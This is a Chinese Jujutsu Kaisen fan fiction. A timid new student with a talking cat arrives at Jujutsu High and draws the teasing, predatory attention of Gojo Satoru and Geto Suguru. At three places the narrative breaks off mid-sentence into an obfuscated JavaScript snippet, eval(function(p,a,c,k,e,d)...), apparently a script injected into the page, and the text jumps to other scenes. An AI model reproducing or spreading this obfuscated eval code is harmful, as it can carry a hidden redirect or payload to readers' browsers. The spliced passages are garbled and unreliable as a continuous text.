《被肉食系男子盯上后》 1. 偷看的 新干线的车窗映着快速倒退的田野。 白鸟纱奈把头靠在玻璃上，第无数次确认手机相册里东京咒术高专入学的通知是真的。 “咒术……高专……” 她小声重复着这个词，腿上还放着打开了一半的少女漫。 画面上，女主角正被帅气的学长壁咚在樱花树下，对话框里飘着粉色字体的喜欢。 纱奈叹了口气。 她本来还在幻想去高中展开一场轰轰烈烈的恋爱。 绝不是去那个什么咒术师培养机！ “豆福，”她对着脚边的宠物航空箱小声说，“我们是不是走错漫画了？” 箱子里传来闷闷的猫叫声：“闭嘴，再啰嗦我就把箱子挠穿然后跳车。” 纱奈缩了缩脖子。 豆福是只胖胖的三花猫，能吃咒灵，能和咒灵说话，脾气很糟，嘴很欠。 但她养了它三年，从它能口吐人言的那天起就习惯了，尤其是习惯被一只猫怼得哑口无言。 “至少咒术高专应该有很多帅哥吧？”她试图找回一点少女心，“你看，超自然背景的话，说不定会有那种……” “那种会飞的白毛帅哥？会召唤式神的黑长直学长？醒醒，你这种咒力弱得跟背景噪音一样的废柴，入学第一天就会被咒灵当点心。” “豆福！” “少女认清事实吧！” 纱奈鼓起脸颊，决定不跟猫计较。 她翻开漫画，试图沉浸在虚构的恋爱故事里，但脑子总是不由自主地飘向咒术，高专，能活着毕业就好这些不浪漫的词。 列车广播报出下一站的站名。 一个高挑的身影从她的座位旁走过，然后停在了她旁边的空位前。 纱奈的余光捕捉到了一抹白色。 非常白，白得晃眼。 她忍不住抬起头。 少年穿着深色校服，白色头发毛茸茸的翘着，鼻梁上架着一副小圆墨镜，他正低头看着她，嘴角噙着一抹饶有兴趣的笑。 纱奈的心脏停跳了一拍，取向狙击命中靶心中…… 这种类型是那种……带着点捉摸不透的，看起来就很麻烦但又让人移不开眼的类型。 而且，真的好帅。 少年似乎察觉到了她的视线，墨镜后的目光转向她。 纱奈立刻低头，假装认真看漫画，耳朵尖发烫。 他用什么洗发水？ 皮肤好白——！！ 为什么有人能白成这样？ “喵。” 航空箱里传来豆福意味深长的声音。 “别出声。”纱奈偏过头眼神威胁警告这只试图作死的大肥猫。 少年在她旁边的座位坐下了。 纱奈僵直了身体，快速且超不经意的瞥了人家一眼。 她不敢再抬头，视线死死锁在漫画书上，但一个字都没看进去。 十分钟。 二十分钟。 她悄悄用余光瞥过去。 少年翘着腿，手撑着脸看着窗外，墨镜滑到鼻尖一点，露出底下苍蓝色的眼睛。 那双眼水汪汪的，像去年夏天爸爸妈妈带她去的濑户内海一样，好蓝好漂亮呜…… 阳光透过车窗落在他脸上，睫毛的阴影投在眼睑下。 纱奈咽了咽口水。 这绝对是犯规级别的颜值。 列车开始减速。 广播响起：“东京站，到了——” 纱奈手忙脚乱地收拾东西。 她把航空箱抱起来，深吸一口气，准备站起来。 然后发现旁边的少年也站了起来。 而且就站在过道上，刚好挡住了她的路。 纱奈愣了愣，小声说：“抱歉……” 少年没动。 他转过身，面对着她，墨镜下的嘴角勾了勾。 纱奈眨了眨眼。 车停了，乘客开始下车，她应该绕过去，但不知道为什么，她就是动不了。 少年就那样站在她面前，白色头发在车厢灯光下泛着柔光，表情似笑非笑。 她又咽了咽口水。 她败给了颜狗属性加持的自己，振作起来不要被美色打倒啊纱奈！ 对了，高专那边说会有人来接她，她该打个电话确认位置。 纱奈从口袋里掏出手机，手有点抖。 她解锁屏幕，翻到通讯录里那个新存的号码，五条悟，咒术高专二年级。 她按下拨号键。 手机贴在耳边，听筒里传来等待音。 嘟—— 嘟—— 然后，她听见了铃声。 不是从听筒里，是从面前。 清脆的电子铃音，从少年的口袋里传出来。 纱奈的呼吸停住了，目光渐渐呆滞，嘴巴慢慢长成了O形。 少年慢悠悠地从口袋里拿出手机，看了一眼屏幕上的来电显示，然后按下了接听键。 他把手机举到耳边，眼睛透过墨镜看着她，笑容扩大了几分。 “喂？”他说，声音从两个方向传来一个是从她耳边的听筒，一个是从他真实的、近在咫尺的唇中。 纱奈的手机“啪嗒”掉在了座位上。 “你是……”她嘴唇动了动，声音卡在喉咙里。 “五条悟。”少年挂断电话，把手机放回口袋，然后弯腰捡起她的手机，递给她，“来接你的前辈。” 他顿了顿，墨镜后的眼睛眯了眯。 “顺便一说，”他补充道，声音里带着某种恶作剧得逞般的愉悦，“你偷看的技术很烂哦，白鸟同学。” 纱奈的脸“轰”地一下全红了。 航空箱里的豆福发出一声冷笑：“我就知道。” 纱奈决定不给豆福今晚开罐罐。 纱奈缓慢接过自己的手机，指尖碰触到屏幕时感受到轻微的震动。 她的脑子还有点发懵，像漫画里被雷劈中的女主角，只是现实里的雷劈没有柔光滤镜和飘落的樱花，只有一个白毛帅哥站在面前，笑得一脸“我早知道了”的模样。 “你偷看我二十分钟哦。”五条悟说，唇角挂着似有若无的笑意，明明是张天使的脸但纱奈觉得眼前的这位绝对是恶魔！ “而且呢，平均每分钟偷瞟三次，最长一次盯了七秒，在想什么？哇是白毛帅哥还是这人穿校服怎么这么好看？” 纱奈猛地低下头，耳朵烫得能煎蛋。 “我、我没有……！” 这句话说的有点咬牙切齿的意味。 “有哦。”五条悟伸手，轻轻点了点她的额头，“所以下回偷看请光明正大点哦。” 纱奈往后缩了缩，怀里的航空箱跟着晃了晃。 “行了，”箱子里的豆福忍无可忍，“要调情下车调，我快被你的少女心熏吐了。” 纱奈恨不得把箱子塞进座位底下。 五条悟挑了挑眉，视线往下扫过航空箱。 隔着半透明的网窗，一只胖乎乎的猫脸正对着他龇牙，有点像一只无能狂怒的大肉松团子。 “哦？会说话的猫？”他弯下腰，墨镜滑到鼻尖，苍蓝色的眼睛近距离盯着箱子里，“有趣。” 豆福的胡须抖了抖：“再看就把你眼珠子挠出来。” “脾气挺坏。”五条悟直起身，笑容没变，“和你主人倒是挺配。” 纱奈不知道这是夸奖还是讽刺，她姑且认为这位是在夸她吧…… 她抱着箱子站起来，手忙脚乱地背上书包，玩偶挂件叮叮哐哐地撞在一起，一只兔子玩偶的耳朵刚好甩到五条悟的肩膀上。 “抱歉！”她赶紧把那只兔子扯回来。 五条悟盯着那只粉色的兔子看了两秒，然后移开视线。 “走吧，”他说，转身往车门走，“夜蛾老师在等。” 车站的人流熙熙攘攘。 纱奈抱着航空箱，努力跟在五条悟身后。 他走得太快了，或者说他腿太长了，她得小跑才能跟上。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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门后是宽阔的石阶，一路向上延伸到树林深处。 纱奈抱着箱子下车，仰头看着眼前的景象。 像是……某种古老的修行场所。 然后她就是在这里修行打怪的路人npc…… “走吧。”五条悟从她身边走过，迈上石阶。 他走了几步，发现纱奈没跟上，回头看她，“怎么了？” 纱奈深吸一口气。 “学长，”她抱紧箱子，“这里……真的有帅哥吗？” 五条悟停住了，嘴角似乎抽搐了一下。 豆福在箱子里发出巨大的、毫不掩饰的啧声，天知道这个单细胞生物脑子里到底在想什么啊喂？！ 五条悟慢慢转过身，墨镜下的嘴角一点点上扬。 “有啊，”他说，声音里带着某种意味深长的愉悦，“而且就在你面前。” 纱奈的脸又红了。 但她这次没低头，反而鼓起勇气问：“那……夏油前辈呢？” 空气安静了两秒。 五条悟脸上的笑容消失了。 “他？”五条悟转过身，继续往石阶上走，“等会儿你自己看吧。” 纱奈跟着他往上爬。 石阶很长，她爬到一半就开始喘气。 五条悟在前面走得轻松，甚至还有余裕回头看她，苍蓝色的眼睛里闪过一丝笑意。 “体力太差了，明天开始晨跑吧，新生。” 纱奈想反驳，但实在喘得说不出话。 终于爬到石阶顶端。 眼前是一片开阔的庭院，传统的日式建筑错落分布。 纱奈突然发现，庭院中央站着一个人。 2. 想吃掉 庭院中央站着一个穿着同样校服的黑发少年。 狭长的眼睛带着温和的笑意，头发扎成半丸子头，鬓角垂着缕刘海。 那双眼睛从上到下淡淡的扫视了她一圈，温和疏离的像是一株垂柳。 那目光慢慢从她裙下的白皙的小腿，露在外侧的没有任何运动痕迹软趴趴的胳膊，再到因为有些羞赧而微微泛红的双颊。 最后看向纱奈那双早已有些不安变得湿漉漉的眼睛，但盯着她瞧的那双眼睛却兀的多了丝笑意。 纱奈的心跳漏了一拍，咬了咬下唇。 那双漂亮狭长的眼睛慢慢从她身上移开落在她身旁，眼里多了几分兴味。 这个黑头发的前辈就像她少女漫画里描绘的，那种会在图书馆窗边安静看书、会在下雨天把伞借给女主角的学长。 她下意识抱紧怀里的航空箱。 豆福在箱子里动弹了一下，尾巴有些烦躁的上下拍打着，它透过网眼看向夏油杰轻轻低哼了一声。 那道目光又落在纱奈身上。 他向前走了几步，停在五条悟身边，视线却一直看着纱奈。 “悟，这位是？” “白鸟纱奈，提前几天来的那位。” 五条悟回答，语气没什么起伏， 夏油杰唇角轻轻勾起，他的眼睛弯成好看的弧度，眼尾细长，像是只发现什么好东西的小狐狸。 “你好，我是夏油杰，二年级。”他把双手插进校服裤兜里，微微歪了歪头，“欢迎来到咒术高专，白鸟同学。” 纱奈的脸又有点发烫了。 这个人……声音也好好听。 嗓音比悟前辈的更清润，让人听着不自觉就会陷进去，一点一点被吞噬。 “您、您好！夏油前辈！”她慌忙鞠躬，怀里的箱子差点滑下去。 夏油杰伸手轻轻扶了下她的手腕，帮她把箱子扶稳。 他的手很凉，碰触的时间只有短短一瞬。 “不用这么紧张。”他收回手，笑意不减，“以后就是同学了。” 纱奈看着自己被碰过的手腕，脑子里飘过漫画里“第一次肢体接触”之类的粉红字样，直到豆福在箱子里用爪子挠了一下内壁，她才猛地回神。 不对……现在是现实。 不是漫画。 “只有我一个人先到吗？”她小心翼翼的问。 夏油杰点了点头，“灰原和七海要过两天才来，你是第一个，房间已经准备好了，我先带你去放行李吧。” 纱奈下意识看了眼五条悟。 五条悟不知何时已经走到庭院边的廊檐下，背靠着柱子，双手插在裤兜里，仰头对着天空，一副百无聊赖的样子，似乎对他们接下来的安排毫无兴趣。 “那、那就麻烦夏油前辈了……”纱奈收回视线，小声道。 夏油杰转身带路。 纱奈抱着箱子跟在他身后半步的位置。 他的背影很挺拔，走路的时候肩膀端正，黑色的校服在他身上显得格外合身，丸子头和那缕垂落的黑发随着步伐轻轻摇晃。 纱奈又忍不住开始对比。 五条悟是那种就算不做什么，存在感也强烈到无法忽视的类型。 但夏油杰……是那种，你看着他，会不由自主想多看两眼的类型。 是因为黑长直吗？不过仔细想想长发男也好帅啊…… 还是因为那种温柔学长气质呢……？ 纱奈甩甩头，试图把脑子里乱七八糟的粉红泡泡压下去。 他们穿过回廊，来到一栋看起来像是宿舍楼的建筑前。 纱奈跟在这位前辈身后，对方比她高出很多，纱奈保守估计这位前辈应该有一米八！ 夏油杰在一扇门前停下，伸手拉开。 “这是你的房间，宿舍这层现在只有你一个人住，硝子住在另一边。” 纱奈探头看了一眼。 房间很干净，像是一个缩小版的单人公寓，窗外是庭院的一角，能看到一棵不知道什么品种的树。 这可比她预想的好了不止一点，她本来还以为她要像她看过的小说里一样真的要修行睡大通铺。 话说要是睡大通铺的话是和前辈们一起住吗。 “谢谢前辈……”她把箱子放下，手忙脚乱的放着行李。 纱奈蹲下拉开行李箱，余光却一直悄悄观察夏油杰，纱奈收拾的动作开始有些不自然。 夏油杰站在门口看着她。 他脸上的笑容一直没变，温和、有礼，带着恰到好处的前辈风范。 纱奈的心思完全不在收拾行李上，她站起身，慢慢抬头对上夏油杰的目光。 “有什么需要帮忙的可以直接找我哦，女生宿舍这边的事，硝子有时候会比较忙可能会顾不过来。” 纱奈赶紧点头。 空气安静了几秒。 夏油杰依旧看着她，嘴角带着弧度。 纱奈被看得有些局促，手指不自觉地绞在一起。 “前辈……在看什么吗？”她小声问。 夏油杰的睫毛垂了垂，又抬起来，“没什么，只是觉得白鸟同学很可爱呢。” 纱奈的脸瞬间红透，明明该觉得这句话很轻浮才对，可意外的从他嘴里说出来，纱奈却不讨厌。 她张了张嘴，想说什么，又不知道说什么。 漫画里这个时候女主角应该怎么回答？ A选项谢谢前辈！ B选项我也这么觉得！ 纱奈果断选了A。 “……谢谢？” 她最终憋出这两个字。 夏油杰笑了，笑意比刚才更深了几分。 “不用谢。”他说，然后顿了顿，声音放轻了一点，“对了，你的那只猫……” 纱奈的心提了起来。 “它好像不太喜欢我呢。”夏油杰的目光扫过那个放在榻榻米上的航空箱。 箱子里很安静，但纱奈知道豆福一定在里面竖着耳朵听。 “它、它只是怕生……！”她慌忙解释。 夏油杰点了点头，没再多问。 “那白鸟同学先收拾吧，晚饭时间我会来叫你。” 他又看了纱奈一眼，嘴角依旧噙着那抹温和的笑，然后转身离开。 门被轻轻带上，“咔哒”一声，他离开了。 纱奈站在原地，脑子里全是夏油杰夸她可爱…… 她捂住脸颊，小声吸了口气。 豆福在箱子里慢悠悠地开口：“纱奈。” “在！” “过来开箱子。” “哦、哦……” 纱奈走过去，拉开航空箱的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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纱奈抱着膝盖，她看起来是真的有点害怕，但又努力想相信前辈是好人的样子。 豆福叹了口气。 “随便你，被吃了别怪我没提醒。” 纱奈把脸又埋回膝盖里。 窗外的树影在榻榻米上轻轻摇晃。 房间里只剩下她细微的呼吸声，和豆福偶尔甩动尾巴的窸窣声。 过了很久，纱奈才小声开口：“豆福。” “嗯。” “这里……真的有帅哥吗？” “……” 豆福跳下窗台，走到她面前，抬起爪子，不轻不重地拍在她额头上。 “醒醒吧少女！这里只有咒灵和怪人！” 纱奈捂住额头，眼泪汪汪，“但是五条前辈和夏油前辈都很好看啊……” 豆福盯着她看了三秒。 然后转过身，用屁股对着她，尾巴高高竖起。 “呵，没救了。” 它单方面宣布，“你这单细胞恋爱脑没救了。” 3. 奇怪的 夏油杰走到回廊尽头时，脚步停了下来。 他侧过身，看向纱奈房间的方向。 门紧闭着，他脸上温和的笑容淡了些，唇角保持着微妙的弧度。 可爱是真的。 怯生生的，像只刚出窝的小兔子，稍微靠近一点就会竖着耳朵往后缩，眼睛湿漉漉地看着人。 那种明明很害怕，却还要努力挤出礼貌微笑的样子。 夏油杰的指尖轻轻摩挲着袖口。 他的咒灵库里新收了一只二级，味道不太好吃，像腐烂的海带混着铁锈。 但那只小兔子身上的咒力…… 很淡。 淡得几乎感觉不到，就像是清水里滴了一滴糖浆，要很仔细才能尝到那点细微的甜味。 可正是那种淡，反而让人想多尝几口。 夏油杰转身继续往前走。 走廊另一头，五条悟靠在柱子上，墨镜滑到鼻尖，苍蓝色的眼睛看着他。 “哟，夏油前辈护送成功？” “嗯。”夏油杰走到他身边，也靠在柱子上，“很乖的新生。” “乖？”五条悟勾了勾嘴角，“你是说她偷看我的时候很乖，还是被你夸可爱的时候脸红得很乖？” 夏油杰没接话。 他的视线落在庭院里那棵树上，树叶被风吹得轻轻摇晃。 “她的咒力很奇怪。”五条悟继续说，“弱得离谱，但波动方式不像普通人。” “你看出来了？” “我又不瞎。”五条悟把墨镜推回原位，“而且那只猫……” “看上去可不是普通的伴生灵哦？” 夏油杰微微侧头。 “你觉得是什么？” “谁知道。”五条悟耸肩，“反正挺有意思的。” 夏油杰呼了口气。 是挺有意思的。 尤其是那种怯生生的，稍微一吓就会缩成一团的眼神。 他想看看那张白净的小脸上如果染上更多惊慌会是什么样子。 想听听那种细细软软的声音如果带上哭腔会发出什么样的音调。 五条悟突然说，“对了杰，她来之前还问我有没有帅哥。” 夏油杰转头看他。 五条悟咧嘴一笑，墨镜后的眼睛里闪着某种恶作剧的光芒。 “我说有，而且就在她面前。” “……然后呢？” “然后她问我，夏油前辈呢？” 空气安静了几秒。 夏油杰的睫毛垂了垂，再抬起来时，眼里的笑意深了几分。 “你怎么回答的？” 五条悟盯着夏油杰的脸，嘴角咧得更开了些，“我说，等会你自己看。” 夏油杰笑意更甚。 “杰，你刚才对她笑得很温柔哦。” 夏油杰轻笑一声，“有吗。” “你猜，不过我觉得你现在像只发现新玩具的狐狸。” 夏油杰没否认，他站直身体，往宿舍楼的方向看了一眼，门还关着。 “硝子呢？”他问。 “医疗室吧，刚才看见她提着医药箱过去了。”五条悟也站直，“怎么，要去找她？” “不用。” 夏油杰转身往自己房间的方向走，走了两步，他又停下来。 “悟。” “嗯？” “别玩太过火。” 五条悟挑起眉毛，“杰你这算是警告吗？” 夏油杰没回答，只是笑了笑，然后继续往前走。 五条悟看着他的背影，墨镜后的眼睛眯了眯，等夏油杰走远后，他才小声嘟囔：“嘁，明明是杰自己最想玩吧。” # 房间里的纱奈把行李箱里的东西一件件拿出来放好。 豆福趴在窗台上，尾巴有一搭没一搭地甩着。 “收拾完了？”它问。 “差不多了！”纱奈跪坐在榻榻米上，看着摊开的行李箱。 里面还剩最后一样东西。 一个有些旧的小熊玩偶，毛色有点褪了，一只耳朵缝过。 她伸手把它拿出来，抱在怀里。 这是爸爸妈妈留给她的，为数不多的东西之一。 她总会把它藏在被子里，假装爸爸妈妈还在。 后来豆福出现了，会说话的猫比玩偶更能让她不那么孤单，但这个小熊她一直带着。 纱奈把小熊放在枕头边，又用手整理了一下它缝过却总是会瘪瘪的耳朵。 豆福从窗台跳下来，走到她旁边，用脑袋蹭了蹭她的手。 “想他们了？” “……嗯。” “那就想着。”豆福趴在她腿边，“哭出来也行，反正这里没人看见。” 纱奈摇摇头，她不能哭，在孤儿院的时候，哭只会让其他孩子觉得你好欺负，但其实孤儿院的孩子们都很善良，也可能是因为她国中二年级被迫进入孤儿院的原因并没有人欺负她过。 相反，她甚至觉得有一点点的安全感。 孤儿院里都是些半大不大的孩子，一个个懵懵懂懂，最大的那个左不过比她大了两岁。 孤儿院人并不多，像是一个小小的家族。 所以在孤儿院的她依旧那么的爱逃避懦弱还有点懒惰。 就像，爸爸妈妈还在世时那样。 她仿佛还是那样普通，怯弱。 她吸了吸鼻子，把脸埋在小熊上。 豆福没再说话，只是安静地趴着。 窗外传来风声，还有远处树林里隐约的鸟叫。 过了好一会儿，纱奈才抬起头，“豆福。” “嗯。” “晚饭……前辈会来叫我。” “所以？” “我有点怕……” 豆福抬起猫脸看着她。 纱奈的手指攥着小熊的爪子，指节有些发白，“夏油前辈……真的像你说的那样吗？” “你觉得呢？” 她沉默了一下，“我觉得……前辈是好人。” “因为你希望他是好人。” “……嗯。” 豆福叹了口气，它站起身，跳到纱奈膝盖上，猫脸对着她，琥珀色的猫眼盯着她的眼睛。 豆福说，“听着笨蛋，好人坏人不重要，重要的是离危险远点。” “可是前辈说会帮我……” “帮你进他肚子里！” 豆福抬起爪子，轻轻按在她手上，“我没开玩笑！” 纱奈抱紧小熊，“那我该怎么办？” “离他远点啊。”豆福说，“尽量别单独和他在一起，如果一定要单独，别离我太远。” “可是他是前辈……” “前辈又怎样？”豆福的胡须抖了抖，“坏蛋可不管你是不是后辈，算了其实也没什么，就是本猫咪很不爽。” 豆福跳下她的膝盖，重新趴回窗台。 夕阳开始西斜，庭院里的树影被拉得很长。 敲门声响起的时候，她吓了一跳。 “白鸟同学。”门外传来夏油杰温和的声音，“晚饭时间到了。” 纱奈慌忙站起来，整理了一下裙摆，又快速揉了揉眼睛，“来了来了！” 夏油杰站在门外，走廊的灯光在他身后，逆光中他的面容有些模糊，但嘴角的笑容依旧挂着。 “准备好了吗？”他问。 纱奈点点头，声音很小：“好了……” 夏油杰的目光扫过她的脸，在她微红的眼眶上停留了一瞬，又移开。 “那就走吧。”他转身带路。 纱奈跟在他身后，怀里抱着豆福，猫很安静，没发出任何声音，只是琥珀色的眼睛一直盯着夏油杰的背影。 食堂在另一栋建筑里，走过去要穿过一段走廊。 傍晚的风有点凉，纱奈下意识缩了缩肩膀。 “冷吗？”夏油杰侧头看她。 “有一点……不过没事的！” “很快就到了。”他说，脚步稍微放慢了些，让她能跟得轻松一点。 纱奈抱紧豆福，猫的体温透过皮毛传过来，暖乎乎的。 “前辈……”她小声开口。 “嗯？” “高专的课程是什么样的？” 夏油杰想了想，“理论课，实践课，体术训练，还有文化课，不过不要害怕，可以慢慢来。” 食堂里已经亮着灯了，走进去的时候，纱奈看见了另外两个人。 五条悟坐在靠窗的位置，面前摆着一份基本没动的咖喱饭，墨镜推到头顶，正盯着手机屏幕。 另一个女生坐在他对面，棕色短发，校服外面套着白大褂，手里拿着一根没点燃的香烟。 她听见脚步声，抬头看过来，“哦，新生，家入硝子，二年级。” 纱奈慌忙鞠躬：“您好！我是白鸟纱奈！” 硝子挑了挑眉毛，视线在纱奈和夏油杰之间转了一圈，“坐吧，晚饭自己拿，那边柜台。” 纱奈顺着她指的方向看去，柜台后面放着几个保温的餐盒，旁边有餐盘和餐具。 她看了眼夏油杰，夏油杰已经往柜台走了，她也赶紧跟过去。 五条悟突然抬起头。 “杰。” “嗯？” “你的那份我帮你拿了。” 夏油杰看向五条悟面前的桌子，那里确实放着两份餐盘，一份是五条悟自己的，另一份还盖着盖子。 “谢了。”夏油杰走过去，在硝子旁边坐下。 纱奈站在柜台前，看着餐盘，又看了看怀里的豆福。 猫轻轻用尾巴扫了扫她的手臂小声说，“放我下来，你去吃你的。” 纱奈把它放到地上，豆福跳上一张空椅子，趴下来，眼睛半眯着。 她端着盘子，犹豫了一下，走到桌子边。 空位有两个，一边是夏油杰旁边的位置，另一边是离所有人都有一点距离的位置。 纱奈果断选择了后者，晚一秒都是对自己社恐属性的不尊重。 对面的硝子喝了口味增汤，视线落在纱奈身上，“你多大？” “欸？”纱奈抬起头，“十、十六……” 硝子点点头，“比我们小一岁，家里有人是咒术师吗？” 纱奈摇了摇头。 “父母呢？” “……去世了。” 硝子顿了顿，“抱歉。” “没，没关系的……”她笑了笑，觉得这样笑好像有点不对，又收起笑容。 五条悟放下手机，拿起筷子开始吃饭。 夏油杰也掀开盖子，他的晚餐是荞麦面，还冒着热气。 纱奈低下头，小口小口吃着米饭。 食堂里只剩下餐具碰撞的声音，和五条悟偶尔吸溜面条的声音。 豆福在椅子上翻了个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“就这么定了。”五条悟打断她的思绪，“明早六点，迟到一分钟多跑一圈。” 纱奈低下头，她不想晨跑，也不想被监督，更不想六点起床…… 可是她不敢说。 豆福在她腿上轻轻用爪子拍了拍，像是在安慰她。 “我可以……带着豆福一起吗？”她小声问。 五条悟挑起眉毛，“随便你。” 纱奈点点头，继续吃饭，但食不知味。 晚饭结束后，夏油杰站起身，收拾好自己的餐盘。 夏油杰端着餐盘走向厨房。 纱奈也站起来，收拾自己的碗筷，她跟着夏油杰走到厨房门口，犹豫了一下，没有进去。 五条悟和硝子已经离开了，食堂里只剩下她一个人，还有趴在她脚边的豆福。 纱奈站在门口，看着夏油杰的背影。 纱奈看了几秒，准备离开。 “白鸟同学。”夏油杰突然开口，没回头。 纱奈停住脚步，“……在？” “明天的晨跑，如果实在起不来，可以晚一点。” 纱奈愣了愣，“但五条前辈那边……” “我会跟他说。”夏油杰用毛巾擦了擦手，转过身来。 厨房的灯光从他身后照过来，他的面容在逆光中有些模糊，纱奈觉得此刻的夏油前辈绝对是天使的化身。 “不过呢，作为交换，明天下午陪我做个训练，可以吗？”他补充道，声音放轻了些。 纱奈的心脏猛地一跳，这个听起来比晨跑还要可怕怎么办…… “只是简单的咒力控制练习。”夏油杰朝她走来，停在一步之外，“我想看看你的术式。” 他的视线落在她脸上，温和又专注，好像真的只是在关心后辈的修行。 纱奈咬了咬下唇，脑子里闪过豆福的话，可眼前的夏油杰笑得太温柔，语气太诚恳，让她觉得拒绝都是一种罪过。 这可是让她能多睡会儿懒觉的帅气天使前辈…… “我……”她的声音卡在喉咙里。 夏油杰微微歪头，耐心地等着。 走廊外传来脚步声，是五条悟又回来了，手里拿着一瓶牛奶。 他看见厨房门口的两人，挑了挑眉，“在干嘛？” 夏油杰转过头，笑容不变，“在邀请白鸟同学明天一起训练。” 五条悟“哦”了一声，拧开牛奶瓶喝了一口，“那你得早起才行，不然明天下午训练的时候打瞌睡，可是会被杰惩罚的。” 纱奈深吸一口气，“我会早起晨跑的。” 她选择了避开夏油杰的邀请，夏油杰脸上的笑容淡了一瞬，又很快恢复，“是吗，那很好。” 五条悟咧嘴一笑，墨镜后的眼睛闪着某种意味不明的光，“那就明早六点，操场见。” 纱奈点点头，抱着豆福匆匆离开厨房。 她的脚步声在走廊里回响，越来越快，最后几乎是小跑着回到宿舍。 拉上门，插上门闩，她背靠着门板，怀里紧紧抱着豆福。 “豆福，我想退学你觉得来得及吗……我可怜的高专生活难道就这么开始了吗……” 猫没说话，只是安静地趴在她胸前。 门外隐约传来五条悟和夏油杰说话的声音。 距离太远，听不清内容。 但那种语调……怪怪的。 4. 哭泣的 五点多的操场笼罩在晨雾里。 五条悟坐在看台最上面一排，脚搭在前排座椅上，晃悠着刚买来的牛奶，他的上唇还残留着牛奶的痕迹。 一圈奶渍，看上去像一圈可爱的白色小胡子。 他慢慢墨镜推到头顶，苍蓝色的眼睛盯着宿舍楼的方向。 啊，没睡醒呢。 五条悟喝了最后一口牛奶，甜味在嘴里化开。 五条悟把喝空的牛奶塑料瓶捏扁，随手往旁边一扔。 扁扁的塑料瓶在空中划出抛物线，准确地落进五十米外的垃圾桶。 他看了眼手机，五点五十八分，还有两分钟。 操场入口处出现了一个身影。 夏油杰慢悠悠地走过来，校服穿得整整齐齐，半丸子头梳得一丝不苟，脸上带着温和的微笑。 “早啊，悟。”他抬头看向看台。 五条悟没动，伸了个懒腰，“早，你怎么来了？” 夏油杰走到看台边，靠着栏杆，“不是说要监督新生晨跑吗，我来看看。” 五条悟勾起嘴角，笑了出来，“监督新生还是监督我？” 夏油杰笑了笑，没回答，他抬头看向宿舍楼，目光落在纱奈房间窗户的方向。 五条悟顺着他的视线看去。 那家伙怎么还在睡…… “欸——她好像在做噩梦哦？咒力波动有些大，梦里大概在逃跑。” 夏油杰的指尖在栏杆上轻轻敲了敲，“你觉得她在做什么梦？” 五条悟耸耸肩，“我怎么知道，不过从她的咒力反应来看，应该挺可怕的。” 六点整，时钟的秒针归零，操场上依旧只有他们两个人，新生没有出现。 迟到，完完全全的迟到。 五条悟从看台上跳下来，轻飘飘落地，墨镜滑到鼻梁上。 “迟到一分钟，多跑一圈。”他说，声音在空旷的操场上格外清晰，“现在是第一分钟。” 夏油杰看向宿舍楼，“要我去叫她吗？” “不用。” 五条悟掏出手机，拨通了纱奈的号码。 铃声响了足足七声，终于被接通了。 “喂……？”电话那头传来迷迷糊糊的带着浓重鼻音的声音，一听就知道电话对面的人刚经历一场早起的巨大战争。 “白鸟同学。”五条悟的语气轻松愉快，“请问现在几点钟？” “不知道……” “那我来告诉你，六点零一分，你迟到了一分钟，所以要多跑一圈，操场一圈四百米，你现在欠我一圈，听懂了吗？” 电话那头沉默了三秒，然后传来细微的抽气声和混乱的扑腾的声音，看样子床上的人挣扎着起床了。 “对不起——！我马上来！” 电话挂断了，五条悟收起手机转头看向夏油杰。 “好像急哭了。”他宣布，嘴角咧开一个笑容，“带着哭腔哦，杰。” 夏油杰的睫毛垂了垂，再抬起来时，眼里的笑意深了几分，“你把她弄哭了？” “严格来说，是她自己把自己弄哭的。” “怎么说？”夏油杰饶有兴趣的看着他。 五条悟摊手，“因为她迟到了，而我只是恰好告诉她迟到了而已。” 五分钟后，纱奈跌跌撞撞地从宿舍楼跑出来。 她头发没梳，长发乱糟糟地披在肩上，校服穿得歪歪扭扭，领口的扣子还扣错了，脸上带着刚睡醒的迷茫和惊慌，眼睛湿漉漉的。 她跑到操场边，看见五条悟和夏油杰，脚步顿了顿，然后深深鞠躬，“对不起！我迟到了！” 声音还带着细微的颤抖。 五条悟走过去，在她面前停下，他弯下腰，墨镜滑到鼻尖，那双漂亮的眼睛近距离盯着她。 “迟到七分钟。”他说，声音压低了些，“所以你要跑七圈，白鸟同学。” 纱奈的肩膀缩了缩，这人是恶魔吧。 最后她的无力全部化作一句，“……好。” 五条悟直起身，指向身后的操场，“现在开始跑吧，我会计时的哦，超过规定时间还要加圈。” 纱奈点点头，转身走向跑道。 她跑得很慢，步子绵软无力，一看就是平时根本不运动的那种。 豆福跟在她脚边，胖乎乎的身体跑几步就停一下，然后对着看台的方向龇牙咧嘴。 五条悟走回看台，重新坐下，夏油杰也在他旁边坐下，两个人看着操场。 纱奈在跑道上缓慢移动，像只被扔进跑步机的仓鼠，努力但徒劳。 “真弱。”五条悟评价。 纱奈跑到第二圈的时候，呼吸已经开始乱了，汗水顺着额角流下来，打湿了头发。 她的脸颊泛着不自然的红，嘴唇微微张开，发出细微的喘息声。 豆福已经放弃跟着跑，蹲在跑道边，尾巴烦躁地甩动。 夏油杰突然站起身，五条悟偏头看向他问道：“要去哪？” “给她送瓶水，晕倒的话就不好玩了。” 五条悟双手插着兜，“想不到杰你还挺体贴。” “只是想让新同学好受一点而已。” 夏油杰走下看台，去自动贩卖机买了瓶运动饮料。 纱奈跑到第三圈的时候，夏油杰在跑道边等她。 她看见他，脚步慢了慢，眼神里有些困惑。 夏油杰把水递过去，“休息一下，喝点水。” 纱奈犹豫了一下，接过来。 